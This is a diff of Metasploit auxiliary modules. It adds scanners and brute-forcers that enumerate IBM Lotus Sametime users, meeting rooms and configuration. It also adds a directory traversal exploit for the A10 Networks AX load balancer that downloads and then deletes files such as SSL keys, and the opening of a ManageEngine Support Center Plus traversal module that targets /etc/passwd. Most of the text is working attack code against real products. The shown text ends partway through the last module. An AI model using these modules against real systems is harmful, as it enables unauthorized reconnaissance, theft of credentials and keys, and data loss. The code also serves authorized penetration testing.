extend_queue(test_current) if (datastore['DICT'].blank?)
|
||||
end
|
||||
rescue JSON::ParserError
|
||||
# non-JSON response - server may be overloaded
|
||||
return error
|
||||
end
|
||||
end
|
||||
|
||||
def extract_user(res)
|
||||
# extract user data if not already present
|
||||
begin
|
||||
userinfo = JSON.parse(res.body)
|
||||
unless @user_data.flatten.include?(userinfo['uid'])
|
||||
@user_data << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ]
|
||||
# print newly discovered users straight to the screen if verbose mode is set
|
||||
vprint_good("#{peer} - New user found: #{userinfo['uid']}")
|
||||
report_user(userinfo['uid'])
|
||||
end
|
||||
rescue JSON::ParserError
|
||||
print_error("#{peer} - Error reading JSON string, continuing")
|
||||
end
|
||||
end
|
||||
|
||||
# extend the test queue if MAXDEPTH value not exceeded
|
||||
# checks made to ensure duplicates are not created when extending
|
||||
# process:
|
||||
#
|
||||
# when a user is found searching for 'a' the queue for 'a' is extended as
|
||||
# only the first user starting with 'a' will be returned (e.g. 'aanderson')
|
||||
# To find all users the queue must be extended by adding 'aa' through to 'az'
|
||||
def extend_queue(test_current)
|
||||
if test_current.length < datastore['MAXDEPTH']
|
||||
@charset.each do | char |
|
||||
@test_queue.push(test_current + char)
|
||||
end
|
||||
elsif @depth_warning and test_current.length == datastore['MAXDEPTH'] and datastore['MAXDEPTH'] > 1
|
||||
vprint_status("#{peer} - Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests")
|
||||
@depth_warning = false
|
||||
end
|
||||
end
|
||||
|
||||
def report_user(username)
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:sname => 'sametime',
|
||||
:type => 'ibm_lotus_sametime_user',
|
||||
:data => "#{username}",
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
def output_results
|
||||
# print output table
|
||||
|
||||
user_tbl = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "IBM Lotus Sametime Users",
|
||||
'Prefix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"UID",
|
||||
"Email",
|
||||
"CommonName"
|
||||
])
|
||||
|
||||
# populate tables
|
||||
@user_data.each do | line |
|
||||
user_tbl << [ line[0], line[1], line[2] ]
|
||||
end
|
||||
|
||||
if not user_tbl.to_s.empty?
|
||||
print_good("#{peer} - #{@user_data.length} users extracted")
|
||||
print_line(user_tbl.to_s)
|
||||
else
|
||||
print_error("#{peer} - No users discovered")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,191 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'enumerable'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'IBM Lotus Notes Sametime Room Name Bruteforce',
|
||||
'Description' => %q{
|
||||
This module bruteforces Sametime meeting room names via the IBM
|
||||
Lotus Notes Sametime web interface.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'kicks4kittens' # Metasploit module
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Dec 27 2013'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('OWNER', [ true, 'The owner to bruteforce meeting room names for', '']),
|
||||
OptPath.new('DICT', [ true, 'The path to the userinfo script' ]),
|
||||
OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TIMING', [ true, 'Set pause between requests', 0]),
|
||||
OptInt.new('Threads', [ true, 'Number of test threads', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Beginning IBM Lotus Notes Sametime Meeting Room Bruteforce")
|
||||
print_status("Using owner: #{datastore['OWNER']}")
|
||||
|
||||
# test for expected response code on non-existant meeting room name
|
||||
rval = Rex::Text.rand_text_alpha(64)
|
||||
uri = target_uri.path
|
||||
@reqpath = normalize_uri(uri, '/restapi')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => @reqpath,
|
||||
'method' => 'GET',
|
||||
'ctype' => 'text/html',
|
||||
'vars_get' => {
|
||||
'owner' => datastore['OWNER'],
|
||||
'permaName' => rval
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
print_error("#{peer} - No response, timeout")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 404 and res.body =~ /Room does not exist/i
|
||||
vprint_status("#{peer} - Server responding to restapi requests as expected")
|
||||
else
|
||||
print_error("#{peer} - Unexpected response from server (#{res.code}). Exiting...")
|
||||
return
|
||||
end
|
||||
|
||||
# create initial test queue and populate
|
||||
@test_queue = Queue.new
|
||||
@output_lock = false
|
||||
|
||||
# TODO: If DICT is unreadable (missing, etc) this will stack trace.
|
||||
::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
|
||||
vprint_status("Loaded #{@test_queue.length} values from dictionary")
|
||||
|
||||
print_status("#{peer} - Beginning dictionary bruteforce using (#{datastore['Threads']} Threads)")
|
||||
|
||||
while(not @test_queue.empty?)
|
||||
t = []
|
||||
nt = datastore['Threads'].to_i
|
||||
nt = 1 if nt <= 0
|
||||
|
||||
if @test_queue.length < nt
|
||||
# work around issue where threads not created as the queue isn't large enough
|
||||
nt = @test_queue.length
|
||||
end
|
||||
|
||||
begin
|
||||
1.upto(nt) do
|
||||
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
|
||||
Thread.current.kill if not test_current
|
||||
res = make_request(test_current)
|
||||
if res.nil?
|
||||
print_error("#{peer} - Timeout from server when testing room \"#{test_current}\"")
|
||||
elsif res and res.code == 404
|
||||
vprint_status("#{peer} - Room \"#{test_current}\" was not valid for owner #{datastore['OWNER']}")
|
||||
else
|
||||
# check response for user data
|
||||
check_response(res, test_current)
|
||||
end
|
||||
end
|
||||
end
|
||||
t.each {|x| x.join }
|
||||
|
||||
rescue ::Timeout::Error
|
||||
ensure
|
||||
t.each {|x| x.kill rescue nil }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# make request and return response
|
||||
def make_request(test_current)
|
||||
# Apply timing information
|
||||
if datastore['TIMING'] > 0
|
||||
Rex::sleep(datastore['TIMING'])
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => @reqpath,
|
||||
'method' => 'GET',
|
||||
'ctype' => 'text/html',
|
||||
'vars_get' =>
|
||||
{
|
||||
'owner' => datastore['OWNER'],
|
||||
'permaName' => test_current
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# check the response for valid room information
|
||||
def check_response(res, test_current)
|
||||
begin
|
||||
if res.code.to_i == 200
|
||||
json_room = JSON.parse(res.body)
|
||||
# extract room information if there is data
|
||||
output_table(json_room, test_current) unless json_room.blank?
|
||||
end
|
||||
rescue JSON::ParserError
|
||||
# non-JSON response - server may be overloaded
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def output_table(room_info, test_current)
|
||||
|
||||
print_good("New meeting room found: #{test_current}")
|
||||
|
||||
# print output table for discovered meeting rooms
|
||||
roomtbl = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "[IBM Lotus Sametime] Meeting Room #{test_current}",
|
||||
'Prefix' => "",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Key",
|
||||
"Value"
|
||||
]
|
||||
)
|
||||
|
||||
room_info['results'][0].each do |k, v|
|
||||
if v.is_a?(Hash)
|
||||
# breakdown Hash
|
||||
roomtbl << [ k.to_s, '>>' ] # title line
|
||||
v.each do | subk, subv |
|
||||
roomtbl << [ "#{k.to_s}:#{subk.to_s}", subv.to_s || "-"] if not v.nil? or v.empty?
|
||||
end
|
||||
else
|
||||
roomtbl << [ k.to_s, v.to_s || "-"] unless v.nil?
|
||||
end
|
||||
end
|
||||
# output table
|
||||
print_good(roomtbl.to_s)
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,322 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'uri'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
URLS = [
|
||||
'/stmeetings/about.jsp',
|
||||
'/stmeetings/serverversion.properties',
|
||||
'/rtc/buildinfo.txt',
|
||||
'/stmeetings/configuration?format=json&verbose=true'
|
||||
]
|
||||
|
||||
PROXY_URLS = [
|
||||
'/stwebclient/i18nStrings.jsp',
|
||||
'/stwebclient/communityserver',
|
||||
'/stwebav/WebAVServlet?Name=WebPlayerVersion'
|
||||
]
|
||||
|
||||
JSON_KEYS = [
|
||||
'communityRef',
|
||||
'anonymousEnabled',
|
||||
'calinteg.enabled',
|
||||
'docshare.fileio.codebase',
|
||||
'docshare.native.codebase',
|
||||
'docshare.remote.url',
|
||||
'meetingroom.allowGuestAccess',
|
||||
'meetingroomcenter.allowGuestAccess',
|
||||
'meetingroomcenter.customLoginPage',
|
||||
'meetingroomcenter.enforceCSRFToken',
|
||||
'meetingroomcenter.enforceHiddenRooms',
|
||||
'meetingroomcenter.passwords',
|
||||
'meetingserver.statistics.jmx.enabled',
|
||||
'rtc4web.enforceNonce',
|
||||
'userInfoRedirect',
|
||||
'userInfoUrlTemplate',
|
||||
'meetingroomcenter.stProxyAddress',
|
||||
'meetingroomcenter.stProxySSLAddress'
|
||||
]
|
||||
|
||||
INFO_REGEXS = [
|
||||
# section, key, regex
|
||||
[ 'version', 'sametimeVersion', /lotusBuild">Release (.+?)<\/td>/i ],
|
||||
[ 'api', 'meeting', /^meeting=(.*)$/i ],
|
||||
[ 'api', 'appshare', /^appshare=(.*)$/i ],
|
||||
[ 'api', 'docshare', /^docshare=(.*)$/i ],
|
||||
[ 'api', 'rtc4web', /^rtc4web=(.*)$/i ],
|
||||
[ 'api', 'roomapi', /^roomapi=(.*)$/i ],
|
||||
[ 'api', 'recordings', /^recordings=(.*)$/i ],
|
||||
[ 'api', 'audio', /^audio=(.*)$/i ],
|
||||
[ 'api', 'video', /^video=(.*)$/i]
|
||||
]
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'IBM Lotus Sametime Version Enumeration',
|
||||
'Description' => %q{
|
||||
This module scans an IBM Lotus Sametime web interface to enumerate
|
||||
the application's version and configuration information.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'kicks4kittens' # Metasploit module
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Dec 27 2013'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('TARGETURI', [ true, "The path to the Sametime Server", '/']),
|
||||
OptBool.new('QuerySametimeProxy', [ true, "Automatically query Sametime proxy if found", true]),
|
||||
OptBool.new('ShowVersions', [ true, "Display Version information from server", true]),
|
||||
OptBool.new('ShowConfig', [ true, "Display Config information from server", true]),
|
||||
OptBool.new('ShowAPIVersions', [ true, "Display API Version information from server", false])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('StoreConfigs', [ true, "Store JSON configs to loot", true])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def check_url(url, proxy='')
|
||||
|
||||
cgi_options = {
|
||||
'uri' => normalize_uri(target_path, url),
|
||||
'method' => 'GET'
|
||||
}
|
||||
|
||||
if proxy.empty?
|
||||
checked_host = datastore['RHOST']
|
||||
else
|
||||
checked_host = proxy
|
||||
cgi_options.merge!({
|
||||
'rhost' => proxy, # connect to Sametime Proxy
|
||||
'vhost' => proxy # set appropriate VHOST
|
||||
})
|
||||
end
|
||||
|
||||
vprint_status("Requesting \"#{checked_host}:#{rport}#{normalize_uri(target_uri.path, url)}\"")
|
||||
res = send_request_cgi(cgi_options)
|
||||
|
||||
if res.nil?
|
||||
print_status("#{checked_host}:#{rport} - Did not respond")
|
||||
return
|
||||
elsif res.code == 403
|
||||
print_status("#{checked_host}:#{rport} - Access Denied #{res.code} #{res.message}")
|
||||
return
|
||||
elsif res.code != 200
|
||||
print_error("#{checked_host}:#{rport} - Unexpected Response code (#{res.code}) received from server")
|
||||
return
|
||||
end
|
||||
|
||||
if url.include?('WebAVServlet')
|
||||
# special handler for WebAVServlet as body is JSON regardless of content-type
|
||||
begin
|
||||
res_json = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
print_error("#{checked_host}:#{rport} - Unable to parse JSON response")
|
||||
end
|
||||
extract_webavservlet_data(res_json)
|
||||
elsif res['content-type'].include?("text/plain") or res['content-type'].include?("text/html")
|
||||
extract_data(res.body, url)
|
||||
elsif res['content-type'].include?("text/json") or res['content-type'].include?("text/javaScript")
|
||||
begin
|
||||
res_json = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
print_error("#{checked_host}:#{rport} - Unable to parse JSON response")
|
||||
end
|
||||
# store configuration files as loot
|
||||
store_config(url, res_json, checked_host) if datastore['StoreConfigs']
|
||||
extract_json_data(res_json)
|
||||
end
|
||||
end
|
||||
|
||||
# extract data from WebAVServlet
|
||||
def extract_webavservlet_data(res_json)
|
||||
# stwebav/WebAVServlet --> WebPlayer information
|
||||
if res_json['Softphone']
|
||||
@version_info['version']['Softphone'] = res_json['Softphone']
|
||||
end
|
||||
|
||||
if res_json['WebPlayer']
|
||||
@version_info['version']['WebPlayer'] = res_json['WebPlayer']
|
||||
end
|
||||
end
|
||||
|
||||
def extract_data(data, url)
|
||||
# extract data from response
|
||||
INFO_REGEXS.each do |regex|
|
||||
if data =~ regex[2]
|
||||
@version_info[regex[0]][regex[1]] = $1.chomp
|
||||
end
|
||||
end
|
||||
|
||||
if url.include?('buildinfo.txt') and data =~ /^(\d{8}-\d+)$/
|
||||
@version_info['version']['buildinfo'] = $1.chomp
|
||||
end
|
||||
|
||||
if data =~ /aboutBoxProductTitle":"(.*?)",/i
|
||||
@version_info['version']['sametimeVersion'] = $1.chomp unless @version_info['version']['sametimeVersion']
|
||||
end
|
||||
end
|
||||
|
||||
# extract data from JSON response
|
||||
def extract_json_data(json)
|
||||
JSON_KEYS.each do |k|
|
||||
@version_info['conf'][k] = json[k] if json[k]
|
||||
end
|
||||
end
|
||||
|
||||
def report
|
||||
if @version_info['version']['sametimeVersion']
|
||||
print_line
|
||||
print_good("#{peer} - #{@version_info['version']['sametimeVersion']} Detected")
|
||||
else
|
||||
print_line
|
||||
print_status("#{peer} - IBM Lotus Sametime information")
|
||||
end
|
||||
|
||||
# configure tables
|
||||
version_tbl = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "IBM Lotus Sametime Information [Version]",
|
||||
'Prefix' => "",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Component",
|
||||
"Version"
|
||||
])
|
||||
|
||||
conf_tbl = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "IBM Lotus Sametime Information [Config]",
|
||||
'Prefix' => "",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Key",
|
||||
"Value"
|
||||
])
|
||||
|
||||
api_tbl = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "IBM Lotus Sametime Information [API]",
|
||||
'Prefix' => "",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"API",
|
||||
"Version"
|
||||
])
|
||||
|
||||
# populate tables
|
||||
@version_info['version'].each do | line |
|
||||
version_tbl << [ line[0], line[1] ]
|
||||
end
|
||||
|
||||
@version_info['conf'].each do | line |
|
||||
conf_tbl << [ line[0], line[1] ]
|
||||
end
|
||||
|
||||
@version_info['api'].each do | line |
|
||||
api_tbl << [ line[0], line[1] ]
|
||||
end
|
||||
|
||||
# display tables
|
||||
print_good("#{version_tbl.to_s}") if not version_tbl.to_s.empty? and datastore['ShowVersions']
|
||||
print_good("#{api_tbl.to_s}") if not api_tbl.to_s.empty? and datastore['ShowAPIVersions']
|
||||
print_good("#{conf_tbl.to_s}") if not conf_tbl.to_s.empty? and datastore['ShowConfig']
|
||||
|
||||
# report_note
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'http',
|
||||
:ntype => 'ibm_lotus_sametime_version',
|
||||
:data => @version_info['version']['sametimeVersion']
|
||||
) if @version_info['version']['sametimeVersion']
|
||||
end
|
||||
|
||||
def store_config(url, config_to_store, checked_host)
|
||||
# store configuration as loot
|
||||
unless config_to_store.empty?
|
||||
loot = store_loot(
|
||||
"ibm_lotus_sametime_configuration_" + url,
|
||||
"text/json",
|
||||
datastore['rhost'],
|
||||
config_to_store,
|
||||
".json"
|
||||
)
|
||||
print_good("#{checked_host} - IBM Lotus Sametime Configuration data stored as loot")
|
||||
print_status("#{checked_host}#{normalize_uri(target_uri.path, url)}\n => #{loot}")
|
||||
end
|
||||
end
|
||||
|
||||
def target_path
|
||||
normalize_uri(target_uri.path)
|
||||
end
|
||||
|
||||
def proxy?
|
||||
@version_info['conf']['meetingroomcenter.stProxyAddress'] or @version_info['conf']['meetingroomcenter.stProxySSLAddress']
|
||||
end
|
||||
|
||||
def use_proxy?
|
||||
datastore['QuerySametimeProxy']
|
||||
end
|
||||
|
||||
def proxy_ssl?
|
||||
@version_info['conf']['meetingroomcenter.stProxySSLAddress']
|
||||
end
|
||||
|
||||
def run
|
||||
# create storage for extracted information+
|
||||
@version_info = {}
|
||||
@version_info['version'] = {}
|
||||
@version_info['conf'] = {}
|
||||
@version_info['api'] = {}
|
||||
|
||||
print_status("#{peer} - Checking IBM Lotus Sametime Server")
|
||||
URLS.each do | url |
|
||||
check_url(url)
|
||||
end
|
||||
|
||||
if proxy? and use_proxy?
|
||||
# check Sametime proxy if configured to do so
|
||||
if proxy_ssl? and ssl
|
||||
# keep using SSL
|
||||
proxy = URI(@version_info['conf']['meetingroomcenter.stProxySSLAddress']).host
|
||||
else
|
||||
proxy = URI(@version_info['conf']['meetingroomcenter.stProxyAddress']).host
|
||||
end
|
||||
|
||||
print_good("#{peer} - Sametime Proxy address discovered #{proxy}")
|
||||
|
||||
PROXY_URLS.each do | url |
|
||||
check_url(url, proxy)
|
||||
end
|
||||
elsif proxy?
|
||||
print_status("#{peer} - Sametime Proxy address discovered, but checks disabled")
|
||||
end
|
||||
|
||||
report unless @version_info.empty?
|
||||
end
|
||||
|
||||
end
|
|
@ -128,21 +128,21 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def check
|
||||
node_id = get_node
|
||||
|
||||
unless node_id.nil?
|
||||
return Msf::Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "index.php")
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/
|
||||
return Msf::Exploit::CheckCode::Detected
|
||||
if get_node
|
||||
# Multiple factors determine this LOOKS vulnerable
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
else
|
||||
# Not enough information about the vuln state, but at least we know this is vbulletin
|
||||
return Msf::Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
|
||||
return Msf::Exploit::CheckCode::Unknown
|
||||
Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -51,7 +51,17 @@ class Metasploit3 < Msf::Auxiliary
|
|||
conf_guid = Rex::Text.rand_text(16)
|
||||
call_guid = Rex::Text.rand_text(16)
|
||||
|
||||
pkt_setup = h323_setup_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
|
||||
pkt_setup = h323_setup_call({
|
||||
:caller_name => caller_name,
|
||||
:h323_id => h323_id,
|
||||
:vendor_id => vendor_id,
|
||||
:callee_host => callee_host,
|
||||
:callee_port => callee_port,
|
||||
:caller_host => caller_host,
|
||||
:caller_port => caller_port,
|
||||
:conf_guid => conf_guid,
|
||||
:call_guid => call_guid
|
||||
})
|
||||
|
||||
res = sock.put(pkt_setup) rescue nil
|
||||
if not res
|
||||
|
@ -88,7 +98,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
# Make sure the call was shut down cleanly
|
||||
pkt_release = h323_release_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
|
||||
pkt_release = h323_release_call({
|
||||
:caller_name => caller_name,
|
||||
:call_guid => call_guid
|
||||
})
|
||||
sock.put(pkt_release) rescue nil
|
||||
|
||||
# End timeout block
|
||||
|
@ -352,7 +365,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
#
|
||||
# This is ugly. Doing it properly requires a PER capable ASN.1 encoder, which is overkill for this task
|
||||
#
|
||||
def create_user_info(h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
|
||||
def create_user_info(opts = {})
|
||||
h323_id = opts[:h323_id]
|
||||
vendor_id = opts[:vendor_id]
|
||||
callee_host = opts[:callee_host]
|
||||
callee_port = opts[:callee_port]
|
||||
caller_host = opts[:caller_host]
|
||||
caller_port = opts[:caller_port]
|
||||
conf_guid = opts[:conf_guid]
|
||||
call_guid = opts[:call_guid]
|
||||
|
||||
buff = "\x05" # Protocol descriminator: X.208/X.209 coded user information
|
||||
|
||||
buff << "\x20\xa8\x06\x00\x08\x91\x4a\x00\x06\x01\x40\x02"
|
||||
|
@ -539,7 +561,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
"\x02\x80\x01\x00"
|
||||
end
|
||||
|
||||
def h323_release_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
|
||||
def h323_release_call(opts = {})
|
||||
caller_name = opts[:caller_name]
|
||||
call_guid = opts[:call_guid]
|
||||
|
||||
encap_tpkt(3,
|
||||
encap_q225_release(
|
||||
create_ie_display(caller_name) +
|
||||
|
@ -550,13 +575,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
end
|
||||
|
||||
def h323_setup_call(caller_name, h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid)
|
||||
def h323_setup_call(opts = {})
|
||||
caller_name = opts[:caller_name]
|
||||
h323_id = opts[:h323_id]
|
||||
vendor_id = opts[:vendor_id]
|
||||
callee_host = opts[:callee_host]
|
||||
callee_port = opts[:callee_port]
|
||||
caller_host = opts[:caller_host]
|
||||
caller_port = opts[:caller_port]
|
||||
conf_guid = opts[:conf_guid]
|
||||
call_guid = opts[:call_guid]
|
||||
|
||||
encap_tpkt(3,
|
||||
encap_q225_setup(
|
||||
create_ie_bearer_capability() +
|
||||
create_ie_display(caller_name) +
|
||||
create_ie_user_user(
|
||||
create_user_info( h323_id, vendor_id, callee_host, callee_port, caller_host, caller_port, conf_guid, call_guid )
|
||||
create_user_info({
|
||||
:h323_id => h323_id,
|
||||
:vendor_id => vendor_id,
|
||||
:callee_host => callee_host,
|
||||
:callee_port => callee_port,
|
||||
:caller_host => caller_host,
|
||||
:caller_port => caller_port,
|
||||
:conf_guid => conf_guid,
|
||||
:call_guid => call_guid
|
||||
})
|
||||
)
|
||||
)
|
||||
)
|
||||
|
|
|
@ -0,0 +1,99 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'A10 Networks AX Loadbalancer Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal flaw found in A10 Networks
|
||||
(Soft) AX Loadbalancer version 2.6.1-GR1-P5/2.7.0 or less. When
|
||||
handling a file download request, the xml/downloads class fails to
|
||||
properly check the 'filename' parameter, which can be abused to read
|
||||
any file outside the virtual directory. Important files include SSL
|
||||
certificates. This module works on both the hardware devices and the
|
||||
Virtual Machine appliances. IMPORTANT NOTE: This module will also delete the
|
||||
file on the device after downloading it. Because of this, the CONFIRM_DELETE
|
||||
option must be set to 'true' either manually or by script.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '102657'],
|
||||
['BID', '65206'],
|
||||
['EDB', '31261']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'xistence' #Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => "Jan 28 2014"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
|
||||
OptString.new('FILE', [true, 'The file to obtain', '/a10data/key/mydomain.tld']),
|
||||
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]),
|
||||
OptBool.new('CONFIRM_DELETE', [true, 'Run the module, even when it will delete files', false]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
unless datastore['CONFIRM_DELETE']
|
||||
print_error("This module will delete files on vulnerable systems. Please, set CONFIRM_DELETE in order to run it.")
|
||||
return
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
peer = "#{ip}:#{rport}"
|
||||
fname = datastore['FILE']
|
||||
|
||||
print_status("#{peer} - Reading '#{datastore['FILE']}'")
|
||||
traverse = "../" * datastore['DEPTH']
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "xml", "downloads", ""),
|
||||
'vars_get' =>
|
||||
{
|
||||
'filename' => "/a10data/tmp/#{traverse}#{datastore['FILE']}"
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 500 and res.body =~ /Error report/
|
||||
vprint_error("#{peer} - Cannot obtain '#{fname}', here are some possible reasons:")
|
||||
vprint_error("\t1. File does not exist.")
|
||||
vprint_error("\t2. The server does not have any patches deployed.")
|
||||
vprint_error("\t3. Your 'DEPTH' option isn't deep enough.")
|
||||
vprint_error("\t4. Some kind of permission issues.")
|
||||
elsif res and res.code == 200
|
||||
data = res.body
|
||||
p = store_loot(
|
||||
'a10networks.ax',
|
||||
'application/octet-stream',
|
||||
ip,
|
||||
data,
|
||||
fname
|
||||
)
|
||||
vprint_line(data)
|
||||
print_good("#{peer} - #{fname} stored as '#{p}'")
|
||||
elsif res and res.code == 404 and res.body.to_s =~ /The requested URL.*was not found/
|
||||
vprint_error("#{peer} - File not found. Check FILE.")
|
||||
else
|
||||
vprint_error("#{peer} - Fail to obtain file for some unknown reason")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,160 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "ManageEngine Support Center Plus Directory Traversal",
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability found in ManageEngine
|
||||
Support Center Plus build 7916 and lower. The module will create a support ticket
|
||||
as a normal user, attaching a link to a file on the server. By requesting our
|
||||
own attachment, it's possible to retrieve any file on the filesystem with the same
|
||||
privileges as Support Center Plus is running. On Windows this is always with SYSTEM
|
||||
privileges.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '31262'],
|
||||
['OSVDB', '102656'],
|
||||
['BID', '65199'],
|
||||
['URL', 'http://packetstormsecurity.com/files/124975/ManageEngine-Support-Center-Plus-7916-Directory-Traversal.html']
|
||||
],
|
||||
'DisclosureDate' => "Jan 28 2014"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [true, 'The base path to the Support Center Plus installation', '/']),
|
||||
OptString.new('USER', [true, 'The Support Center Plus user', 'guest']),
|
||||
OptString.new('PASS', [true, 'The Support Center Plus password', 'guest']),
|
||||
OptString.new('FILE', [true, 'The Support Center Plus password', '/etc/passwd'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
uri = target_uri.path
|
||||
peer = "#{ip}:#{rport}"
|
